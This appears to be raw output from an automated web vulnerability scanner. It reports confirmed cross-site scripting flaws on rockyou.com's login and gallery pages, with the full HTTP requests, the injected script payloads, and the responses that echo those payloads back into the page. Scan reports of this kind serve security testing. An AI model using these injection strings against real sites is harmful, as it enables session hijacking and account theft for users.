<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="\'\"--></style></script><script>netsparker(0x000BD3)</script>"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:block"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="3"><br /><input type="hidden" name="user" id="user" value="\'\"--></style></script><script>netsparker(0x000BD3)</script>"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="..
- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php?birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&se..

Parameters

Parameter Type Value
birthyear GET 3
country GET 0
flixster GET 3
mode GET create
pass GET 3
postalcode GET 3
sex GET 3
source GET 3
toscheck GET 1
user GET 3
user POST 3
mode POST login
pass POST '"--></style></script><script>alert(0x000CAC)</script>

Request

POST /login.php?birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&sex=3&source=3&toscheck=1&user=3 HTTP/1.1
Referer: http://www.rockyou.com/login.php?birthyear=&country=0&flixster=&mode=create&pass=&postalcode=&sex=&source=&toscheck=1&user=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164293; ctid=1; sns_type=rockyou.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Content-Length: 108
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

user=3&mode=login&pass='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000CAC)%3c%2fscript%3e

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:04:54 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=-1; expires=Mon, 18-Apr-2011 12:04:54 GMT; path=/; domain=.rockyou.com,lastlogin=1303164294; expires=Wed, 27-Jul-2011 22:04:54 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:04:54 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=92045 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9117
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="3"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:none"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="\'\"--></style></script><script>netsparker(0x000CAC)</script>"><br /><input type="hidden" name="user" id="user" value="3"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916">1916</option><option value="1915">1915</option><option value="1914">1914</option><option value="1913">1913</option><option value="1912">1912</option><option ..
- /show_my_gallery2.php

/show_my_gallery2.php CONFIRMED

http://www.rockyou.com/show_my_gallery2.php?instanceid='%2Balert(9)%2B'

Parameters

Parameter Type Value
instanceid GET '+alert(9)+'

Request

GET /show_my_gallery2.php?instanceid='%2Bnetsparker(9)%2B' HTTP/1.1
Referer: http://www.rockyou.com/show_my_gallery.php?instanceid=13193054
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164457; ctid=2; sns_type=rockyou.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:07:41 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:07:40 GMT; path=/; domain=.rockyou.com,lastlogin=1303164461; expires=Wed, 27-Jul-2011 22:07:41 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:07:41 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=261009 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9836
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="js/lightbox/prototype.js" type="text/javascript"></script><script src="js/lightbox/scriptaculous.js?load=effects" type="text/javascript"></script><script src="js/lightbox/lightbox.js" type="text/javascript"></script><script src="js/embeds.js?ver=5" type="text/javascript"></script><script src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js" type="text/javascript"></script><script src="js/subscription.js?ver=2" type="text/javascript"></script><script src="/js/standard.js" type="text/javascript"></script><link href="/css/style.css" rel="stylesheet" type="text/css"><link href="/css/comment.css" rel="stylesheet" type="text/css"><link href="/css/profile.css" rel="stylesheet" type="text/css"><link href="/css/lightbox.css" rel="stylesheet" type="text/css"><link href="/css/star_rating.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> <meta name="title" content="RockYou Slideshow" />
<meta name="description" content="Check out my new photos from RockYou.com." />
<link rel="image_src" href="http://cdn.rockyou.com/rockyou.com/bling3/ry_logo28.png" />
<link rel="video_src" href="http://apps.rockyou.com/rockyou.swf?instanceid=&#039;+netsparker(9)+&#039;"/>
<meta name="video_height" content="320" />
<meta name="video_width" content="426" />
<meta name="video_type" content="application/x-shockwave-flash" /></HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-button" style="font-weight:bold"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-create&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fchoose_widget.php">CREATE</a></div> <div class="nav-button"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-browse&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Ffeaturedartists.php">BROWSE</a></div> <div class="nav-button"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-mystuff&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fmy_stuff.php">MY STUFF</a></div> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-login&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Flogin%2Findex.php">Log In</a> | <a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-register&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Flogin%2Findex.php">Register</a> | <a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="http://cdn.rockyou.com/rockyou.com/bling3/ry_logo28.png");'> <img src="http://cdn.rockyou.com/rockyou.com/bling3/ry_logo28.png" class="transparent"/> </div> </div> </div> <br>
<script type="text/javascript">
function thickBoxFrame(msg, url){
//alert(url);
url = url+'?KeepThis=true&TB_iframe=true&height=310&width=370';
TB_show('fff', 'http://www.google.com', '');

}

function getImgLink(img_src, img_cap) { var first_dot_index = img_src.indexOf('.') + 1; var rest_url = img_src.slice(first_dot_index,img_src.length); var second_dot_index = rest_url.indexOf('.'); var second_slice_index = rest_url.indexOf('/')+ first_dot_index ; var partner_name = rest_url.slice(0,second_dot_index); var partner_url = img_src; partner_url = img_src.slice(0,second_slice_index); //alert( '<a href=\"'+img_src+'\" rel=\"lightbox[show]\" title=\"'+img_cap+'\">rest_url</a>'); if (partner_name == 'badongo'){ img_src= img_src.replace('/ry/','/pic/').replace('.jpg',''); return '<a href=\"'+img_src+'\" target="_blank" title=\"'+img_cap+'\">view pic<br>('+partner_name+')</a>'; }else{ return '<a href=\"'+img_src+'\" rel=\"lightbox[show]\" title=\"'+img_cap+'\" onclick=\"ajax_post_john(\'/events/include/ajaxtrackevent.php\',\'name=rockyou-mobile&value=showmygallery\',null,null);\">view pic<br>('+partner_name+')</a>'; } }
function deleteComment(url) {
deleteme = confirm("Delete This Comment?");
if (deleteme) {
window.location=url;
}
}


function deletethis (e) {
if (!e) var e = window.event;
var tg = (e.target) ? e.target : e.srcElement
removeObj(tg.parentNode);
}
function removeObj(tr){
tr.parentNode.removeChild(tr);
}
function addtxtbox()
{
table=document.getElementById('tbltext');
mycurrent_row=document.createElement("TR");
mycurrent_cell=document.createElement("TD");
try
{
mycurrent_cell.innerHTML="<input type=\"text\" name=\"to[]\" class=\"textboxcl2\"> <input type=\"button\" value=\"Remove\" onclick=\"deletethis(event)\">";
}
catch(e)
{
mytextbox=document.createElement("INPUT");
mytextbox.setAttribute("type","text");
mytextbox.setAttribute("name","to[]");
mytextbox.setAttribute("class","textboxcl2");
mycurrent_cell.appendChild(mytextbox);
mybutton=document.createElement("INPUT");
mybutton.setAttribute("type","Button");
mybutton.setAttribute("value","Remove");
mybutton.setAttribute("onclick","alert('this')");
mycurrent_cell.appendChild(mybutton);
}
mycurrent_row.appendChild(mycurrent_cell);
table.getElementsByTagName('tbody')[0].appendChild(mycurrent_row);
}

function xmlhttpPostURL(type,data,url) {
var xmlHttpReq = false;
var self = this;
// Mozilla/Safari
if (window.XMLHttpRequest) {
self.xmlHttpReq = new XMLHttpRequest();
}
// IE
else if (window.ActiveXObject) {
self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
}
self.xmlHttpReq.open('POST', url+"?instanceid=&amp;#039;+netsparker(9)+&amp;#039;", true);
self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8");
self.xmlHttpReq.onreadystatechange = function() {
if (self.xmlHttpReq.readyState == 4) {
//alert(self.xmlHttpReq.responseXML);
notXML = false;
if (self.xmlHttpReq.responseXML)
{
//eval ("var resp = "+self.xmlHttpReq.responseText);
xmlDoc = self.xmlHttpReq.responseXML.documentElement;
if (xmlDoc)
{
var thumbClass = (navigator.appVersion.indexOf('MSIE 6') == -1) ? 'smallthumb' : 'smallthumbIE6';
imageList = xmlDoc.getElementsByTagName("image");
capList = xmlDoc.getElementsByTagName("text");
imgs = "";
if (thumbnailStart > imageList.length) thumbnailStart -= calcThumbnailsCount();
if (thumbnailStart < 0) thumbnailStart = 0;
thumbnailEnd = thumbnailStart + calcThumbnailsCount();
if (thumbnailEnd > imageList.length) thumbnailEnd = imageList.length;
for (i = 0; i < imageList.length; i++)
{
img_src = imageList[i].getAttribute("path");
img_cap = URLDecode(capList[i].getAttribute("text"));
img_link = getImgLink(img_src, img_cap);

if ((i >= thumbnailStart) && (i < thumbnailEnd)) {
imgs += "<div class='thumbwrap'>";
} else {
imgs += "<div class='thumbwrap' style='display:none'>";
}
